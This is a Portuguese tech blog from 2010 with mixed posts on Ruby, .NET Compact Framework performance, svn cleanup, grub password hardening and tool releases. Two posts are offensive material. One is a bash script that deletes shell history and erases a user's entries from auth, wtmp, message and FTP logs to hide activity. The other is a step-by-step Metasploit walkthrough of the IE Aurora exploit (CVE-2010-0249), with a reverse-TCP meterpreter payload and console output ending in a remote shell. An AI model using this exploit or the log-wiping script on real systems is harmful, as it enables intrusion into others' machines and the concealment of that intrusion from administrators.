terça-feira, 23 de março de 2010

Ruby on Rails para Javaneses

Há pouco tempo entrei em um projeto voluntário para Web com Ruby on Rails. Legal né?? O problema é que nunca tinha mexido com RoR ou qualquer coisa parecida. Meu forte sempre foi Java, C# e outras linguagens "estáticas". Para quem vem do Java, Ruby é assustador. De cara já tive uma sensação do tipo: "aqui pode tudo", muito diferente do "quase tudo é proibido" do Java.
Passado o perído do "nossa! o que é isso??" logo me entusiasmei com RoR. Tive a sensação de estar com um microfone passando instruções para meu querido PC, pois, com Ruby é assim mesmo "Você fala, Ruby escuta".
Abaixo listo algumas diferenças substanciais que senti entre Ruby e Java.

Instalação - A instalação do conjunto Ruby + gem + Rails é quase mágica. No Windows, na forma mais complicada, a instalação é uma "sequência de Next, executa UM script, executa UM comando". Mas você também pode optar por um pacote "One-click" onde com poucos clicks você já está com tudo rodando perfeitamente. No linux, o processo é igualmente simples. A facilidade da instalação me fez lembrar como apanhei para instalar o JDK pela primeira vez. (instala pacote, configura PATH, configura variáveis de ambiente, bla, bla bla). 


Não há tipos primitivos - Em Ruby "Tudo é um objeto", até mesmo aquele seu Int que é um objeto da classe FixNum. Ou seja, você fazer 4.div(2) que o interpretador irá aceitar normalmente. 
 
Threads independentes de Sistema Operacional - A implementação de threads é feita diretamente no Kernel do Ruby, o que permite rodar processos paralelos em qualquer SO, inclusive no DOS.
Tipagem dinâmica - Não é necessário definir o tipo do objeto antes de instância-lo. Como na grande maioria das linguagens de scripts os  tipos de objetos são definidos em tempo de execução.  Porém, apesar disso Ruby também é fortemente tipado, assim como Java.
Definição de métodos - chega de public boolean blablabla() { } . Em Ruby métodos são iniciados com: def nome() terminados em end e a ultima expressão avaliada sempre é retornada, embora seja possível colocar um return em qualquer parte do código.
          Veja um exemplo:
           def modelo()
            @modelo
           end

           O código acima é a mesma coisa que:
            public String modelo() {
                             return this.modelo;
                        }
           Sentiu a diferença??
 

Parametros default - Parâmetros podem receber um valor default que será assumido caso o método seja chamado sem parâmetros.

def marca(tipo=1) 
                @tipo = tipo
         end


Você pode chamar o método acima tanto com marca(9999) quanto com marca() . No último caso o valor de tipo será 1. Em java você seria obrigado a implementar no minimo dois métodos.

Gets e Setters - Existem 3 formas de definir métodos getters e setters.

          Forma 1:
          #declaração da variável
                      @marca 


          #método get                      
                      def marca
                           @marca
                      end


          #método set
                      def marca = (marca)
                            @marca = marca
                      end


             Forma 2:
             #declaração de variável e getter.
                       attr_reader :marca, :modelo


             #declaração de variável e setter. 
                        attr_writer :cor.


             Forma 3:
             #declaração de variável, getter e setter.
                        attr_accessor :marca, :modelo, :cor.


Lembra do que eu falei no início?? "Você fala, Ruby escuta".
           
Giorge Henrique Abdala 



#################################################
Referência: http://eustaquiorangel.com/downloads/tutorialruby.pdf

Leia Mais…

domingo, 21 de março de 2010

Apagando arquivos de Log

Recentemente precisei escrever um script simples para apagar logs de acesso de um sistema debian. Não é nada comparado com qualquer log cleaner, mas, deu pro gasto.

Segue código:

#!/bin/bash

USUARIO=$1
IP=$2

MESSAGES=/var/log/messages
FTP=/var/log/vsftpd.log
LOGIN=/var/log/wtmp
AUTH=/var/log/auth.log


if [ $# -lt 1 ] ; then
    echo "uso: clean usuario [arquivo]"
    exit;
fi


if [ $USUARIO == root ] ; then
    echo "deletando /root/.bash_history"
    rm -f /root/.bash_history
else
    echo "deletando /home/"$USUARIO"/.bash_history"
    rm -f /home/$USUARIO/.bash_history
fi

echo "Limpando entradas em" $MESSAGES "que correspondem ao usuario" $USUARIO
cat $MESSAGES | grep -v $USUARIO > $MESSAGES

echo "Limpando entradas em" $FTP "que correspondem ao usuario" $USUARIO
cat $FTP | grep -v $USUARIO > $FTP

echo "Limpando entradas em" $LOGIN "que correspondem ao usuario" $USUARIO
cat $LOGIN | grep -v $USUARIO > $LOGIN

echo "Limpando entradas em" $AUTH "que correspondem ao usuario" $USUARIO
cat $AUTH | grep -v $USUARIO > $AUTH

if [ $# == 2 ] ; then
    echo "Limpando linhas em "$AUTH "que correspondem a" $2
    cat $AUTH | grep -v $2 > $AUTH

O que o script faz é o seguinte:

 primeiro ele apaga .bash_history no diretório:

   /root - caso o usuário especificado como parametro seja root.

   /home/usuario - caso usuário passado como parametro seja diferente de root.

Após isso, o script faz uma busca em alguns arquivos e apaga todas as linhas que combinam com o usuário passado com parâmetro. Os arquivos procurados são os seguintes:

/var/log/messages   -  registrar todas as operações do sistema ou de programas do mesmo.
/var/log/vsftpd.log  - registrar todas as operações logon/logoff realizadas pelo daemon de ftp.

/var/log/wtmp - registrar os logons de usuários. É um arquivo binário que trabalha em conjunto com a função who para a identificação do usuário.

/var/log/auth.log - Registra operações de autenticações.

Lembrando que você ainda pode especificar, no lugar do usuário, qualquer string que deseja retirar dos arquivos mencionados a cima.  Se você desejar adicionar um outro arquivo para realizar a limpeza é só passar o diretório como segundo parâmetro, assim:

giorge#: clean root /var/log/dmesg

O script é bem básico mesmo e só faz o feijão com arroz. Se você precisar de algo mais elaborado melhor procurar pelo ZAP ou pelo hideme.c.

Abraços

Giorge Henrique Abdala

Leia Mais…

quinta-feira, 11 de fevereiro de 2010

Apagar todas as pastas .svn

Quando queremos mudar nosso repositório SVN de lugar, ou ainda quando o tortoise (ou outras ferramentas similares) gera aqueles erros "sinistros" que nem um "cleanup" resolve, precisamos apagar todos as pastas .svn de nosso projeto. Obviamente, dependendo do tamanho do projeto, é inviável entrar pasta por pasta e apagar todos .svn. Para resolver esse problema tem uma linha de comando que faz todo o trabalho sujo. Simples, rápido e eficiente.

$ rm -rf `find . -type d -name .svn`

Outra maneira é usar o "svn export" e exportar o projeto para uma um outro diretório mas sem os .svn. Com o tortoise você pode facilmente fazer "botão direito no projeto -> TortoiseSVN -> Export..." Deixe desmarcado a checkBox "Export unversioned files too".
Ou ainda, se preferir, pode usar a linha de comando:

svn export DESTINO


Giorge Henrique Abdala

Leia Mais…

sexta-feira, 22 de janeiro de 2010

Lançado Nmap 5.20

Confira as novidades:

30 novos engine scripts adicionados.
melhor desempenho e consumo de memória reduzido.
Protocolo específico de payload para scanners UDP mais efetivos.
engine traceroute completamente reescrita.
Update das assinaturas para detecção de versões de SO e Bancos de dados (mais de 10.000 assinaturas)

Download aqui.


Giorge Henrique Abdala

Leia Mais…

Dicas para melhorar a performance do .Net Compact Framework

Neste artigo veremos algumas dicas para resolver problemas comuns de desempenho em aplicações para Windows Mobile com o .Net compact framework. Devido às limitações de hardware, quando desenvolvemos para dispositivos móveis, precisamos nos preocupar com a performance da aplicação  e evitar as "bad pratices".  A maioria das orientações foram oferecidas diretamente pelo time de desenvolvimento do NET Compact Framework,  porém, devem ser usadas apenas quando for necessário para evitar códigos confusos, pouco reaproveitáveis e de difícil manutenção.

String imutável - Essa é aquela velha história que todo programador Java e/ou .Net já deve saber. Strings são imutáveis, ou seja, não é possível fazer qualquer modificação em uma String. Quando você utilizar a concatenação um novo objeto String é criado. Isso tem um alto custo e deve ser evitado SEMPRE. Ao invés de usar concatenação opte por utilizar StringBuilder.

Código a ser evitado:

String str = "string inicial";
for (int i = 0; i < 1000; i++) {
    str += "String concatenada";

}

Código a ser usado:

StringBuilder str = new StringBuilder();
for (int i = 0; i < 1000; i ++) {
    str.Append("String concatenada");

}

Uso de XML - Quando um XML for maior que 64 Kb utilize System.Xml.XmlReader, ao invés de System.Xml.XmlDocument. Para melhorar o desempenho defina a propriedade 'IgnoreWhiteSpace' como true para ignorar os espaços em branco não significativos (usados apenas para facilitar a leitura humana). Sempre que puder utilize nomes curtos  para elementos e atributos, pois, isso reduz o tamanho final do arquivo.

Reflection - Não adianta, reflections são lentos em qualquer lugar, inclusive no Desktop. Em dispositivos móveis são de 10 a 100 vezes mais lentos, portanto evite sempre. Substitua os Reflection por métodos Factory (Design patern) e uso de interfaces. Não esqueça que Web Services utilizam Reflection. Uma boa dica é utilizar o padrão singleton e manter apenas uma instância do Web Service para a aplicação inteira.

Exemplo para utilizar Web Service e evitar desperdícios de recursos com reflection.

//classe que irá gerenciar o web service
public static class WebService() {

//instância do web service  
private static WSCorreios www = null;

//método estático usado para pegar a instância do Web Service.
public static getWSCorreios() {
   if (www == null)
      www = new WSCorreios();
   return www;

}
}

//classe que irá usar o WebService
public class usarWS() {

//construtor
public usarWS() {
}
   //pega a instância do Web Service
   WSCorreios www = WebService.getWSCorreios();
 
   //usa métodos do Web Service
   www.getCep();
}
}


Boxing e Unboxing - Tipos primitivos são armazenados na pilha (STACK) e por isso não envolvem o Garbage Collector. Isso é muito bom para o desenvolvedor porque economiza muitos recursos, porém, quando é feito o boxing é guardado um tipo por referência no HEAP, e por isso a limpeza será controlada pelo Garbage Collector. Procure evitar usar boxing.

Object - Quando a aplicação acessa uma variável declarada como Object o CLR é obrigado à realizar a checagem de tipo e procurar esse objeto em tempo de execução, portanto, usar o tipo Object sempre gera um custo maior e muitas vezes desnecessário.

Collection - Sempre utilize arrays simples para tipos primitivos e System.Collection.Generic  (List) para coleções de objetos. Evite o uso de ArrayList para guardar qualquer coisa, pois além de fazer o boxing (desnecessários para tipos primitivos) ainda usa Object para guardar os objetos.

Melhor maneira para guardar coleçoes de tipos primitivos:

int[] Lista = new int[100000];
for(int i = 0; i < 100000; i++) {
      Lista[i] = i;

}

Melhor maneira para guardar coleções de objetos:

List Lista = new List(100000);
for(int i = 0; i < 100000; i++) {
        Lista.Add(i);

}

Pior maneira para guardar qualquer coisa:

ArrayList Lista = new ArrayList(100000);
for(int i = 0; i < 100000; i++) {
      Lista.Add(i);

}

####################
Referência:
http://msdn.microsoft.com/en-us/library/1766918e.aspx
http://msdn.microsoft.com/en-us/library/ms172524.aspx

Giorge Henrique Abdala

Leia Mais…

quinta-feira, 21 de janeiro de 2010

Lançado novo ProcNetMonitor


 ProcNetMonitor é uma ferramenta gratuita que monitora a atividade de todos os processos em execução no sistema, exibe todas as portas abertas e todas conexões ativas para cada processo.  Essa nova versão também possui o recurso "Port Finder" que torna fácil a busca por processos com conexões ativas em uma determinada porta. Além do mais, também vem com um recurso de exportação para HTML o que torna possível fazer uma análise off-line.
ProcNetMonitor funciona em todas as versões do Windows a partir do XP.
Download aqui.


Giorge Henrique Abdala

Leia Mais…

terça-feira, 19 de janeiro de 2010

Internet Explorer Aurora Exploit

Dia 17/01/2009 a galera da Offensive Security disponibilizou um exploit que explora a vulnerabilidade aurora (CVE-2010-0249) encontrada no Internet Explorer  6, 6 SP1, 7 em várias versões do windows.


O exploit disponibilizado é desenvolvido em phyton e executa a calculadora do windows no alvo.
O download pode ser feito em: http://www.exploit-db.com/exploits/11167.

para usa é fácil. É necessário ter o phyton defidamente instalado.

Windows/Linux:$ python ie_aurora.py 8080
[-] Web server is running at http://127.0.0.1:8080/



onde:
8080 - porta local

depois é só acessar pelo IE o endereço mostrado pelo script, no caso, http://127.0.0.1:8080/.
 O exploit será enviado e a calculadora executada no alvo.

Executar uma calculadora não é nada útil, mas, você pode modificar o script e colocar um payload metasploit para ser executado no lugar da calculadora, ou ainda, usar o próprio módulo do Metasploit, que facilita muito todo o trabalho. Irei mostrar agora como explorar essa vulnerabilidade pelo metasploit.

Primeiro execute o update do Metasploit(msfupdate), como Administrador ou root, para pegar os novos módulos. Depois rode o console do metasploit e faça:


msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (your IP)
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.0.151:8080/
[*] Server started.

msf exploit(ie_aurora) >  

O payload usado abre uma conexão reversa no alvo. Em seguida abra o IE e acesse o endereço mostrado (http://192.168.0.151:8080/).

[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.166:1514)

msf exploit(ie_aurora) > sessions -i 1
[*] Starting interaction with 1...




meterpreter > shell

Process 892 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Developer\Desktop>

Pronto. Você já tem acesso shell disponível no alvo.

Obs: Aparentemente só funciona com o IE 6. Meus testes com windows XP SP3 e Internet Explorer 6 funcionaram perfeitamente, porém, no windows Vista e Internet Explorer 7 não obtive resultado.

################
Solução: Segundo nota emitida pela Microsoft a melhor forma de se pevenir do ataque é atualizando seu Internet Explorer para a versão 8.

Referências:
http://www.microsoft.com/technet/security/advisory/979352.mspx

 
Giorge Henrique Abdala

Leia Mais…

quinta-feira, 14 de janeiro de 2010

TCC Metasploit

Esse achei na net há pouco tempo. É um TCC produzido pelo Julio Cesar Liviero Della Flora para a UniFil de londrina. É um trabalho muito bem estruturado, com explicações e várias imagens. Ponto de partida para qualquer um que deseja iniciar na área de testes de vulnerabilidades.

http://www.4shared.com/file/164179969/d59dfd55/TCC_JULIO.html

PS: não é pirataria. O trabalho foi disponibilizado na rede pelo próprio autor.

Giorge Henrique Abdala

Leia Mais…

Impedindo o Acesso sem senha

Este é um artigo meu publicado no Dicas-l em 20 de dezembro de 2005. O objetivo é impedir o acesso sem senha à um sistema Linux gerenciado pelo grub/lilo.
Não sei como estão as coisas hoje, mas, lembro que na época com esses passos a única maneira de de acessar seu sistema, sem possuir uma senha,  era abrindo a máquina e retirando da bateria da BIOS.
Reproduzo aqui o artigo da mesma forma que foi publicado no Dicas-l.



 Impedindo o Acesso sem senha

O grub, gerenciador de boot padrão em muitas distribuições, possui alguns artifícios que permitem a entrada no sistema como root sem a necessidade de digitar uma senha. Nessa dica explicarei como prevenir esse tipo de coisa, fazendo uso de alguns procedimentos que podem, inclusive, serem adaptados a outros gerenciadores de boot, como o Lilo.

As maneiras mais conhecidas para entrar no sistema sem senha são:

1. disquete de boot.
2. trocando o runlevel para 1 (Single ou manutenção).
3. Trocando o runlevel para `init=/bin/bash`.

Para impedir que alguém não autorizado tenha acesso total usando qualquer uma das opções citadas, siga os seguintes passos.

1. Edite o /etc/inittab e verifique se existe uma linha parecida com:

su:S:wait:/etc/rc.d/rc.sulogin

Essa linha diz ao sistema para, quando iniciado no modo Single, executar o arquivo /etc/rc.d/sulogin. Seguindo a lógica, edite o script /etc/rc.d/sulogin, e adicione a linha:

sulogin -p

*/Para forçar o sistema a pedir a senha root sempre que for iniciado no modo manutenção*/

2. Com o procedimento anterior, padrão em muitas distribuições, você impede o acesso no modo single, porém, ainda é possível o acesso sem senha trocando o runlevel para init=/bin/bash. Para evitar faça:

#grub

*/criptografa uma senha ser usada no grub*/
grub> md5crypt

*/digite a senha a ser criptografada*/
password: *********

A saída do comando será a senha criptografada, algo como:

encrypted: $1$2atu01$qdxmcgaxxw0pehytdvixo.

Edite o arquivo /boot/grub/menu.lst, e adicione, no início do arquivo, a seguinte linha:

password = --md5


Lembrando que "" deverá ser trocado pelos caracteres obtidos com o md5crypt do grub. Salve o /boot/grub/menu.lst e retire a permissão de escrita de todos os usuários. Reinicie a máquina e tente editar os parâmetros do grub, ou entrar na linha de comando, para ver o que acontece.


Repare que colocar senha no grub evita também o acesso pelo modo Single e a vizualização de arquivos confidenciais, pois, a edição dos parâmetros do grub e a linha de comando ficam restritas a quem possuir a senha.


Se você quiser, pode adicionar "lock", logo após a linha de senha no menu.lst, e forçar o grub pedir senha até mesmo para iniciar uma partição. Se preferir, adicione "password = --md5 " e "lock" nas opções de cada Sistema Operacional "setado" no menu.lst, e configure uma senha diferente para cada SO.


Para aumentar ainda mais a segurança, coloque senha no setup, para impedir que mudem a sequência de boot. Isso irá evitar o acesso com um disquete de recuperação.

A Opção de senha também pode ser usada com o Lilo. 


Para mais informações consulte:

* info grub, man lilo
* GRUB
* Lilo HOWTO



Giorge Henrique Abdala

Leia Mais…

Novo repositório de exploits

Após a infeliz "queda" do milw0rm muita gente ficou sem uma "referência" para buscar exploits, mas felizmente, parece que o pessoal da Offensive Security "adotou" o banco de dados do milw0rm e o transformou em um novo site.
O novo repositório contém as mesmas categorias que o milw0rm (remote, local, web, dos e shellcode) e, aparentemente, está bem atualizado, contando, hoje, com 10309 exploits.

usem com moderação: http://www.exploit-db.com/

Giorge Henrique Abdala

Leia Mais…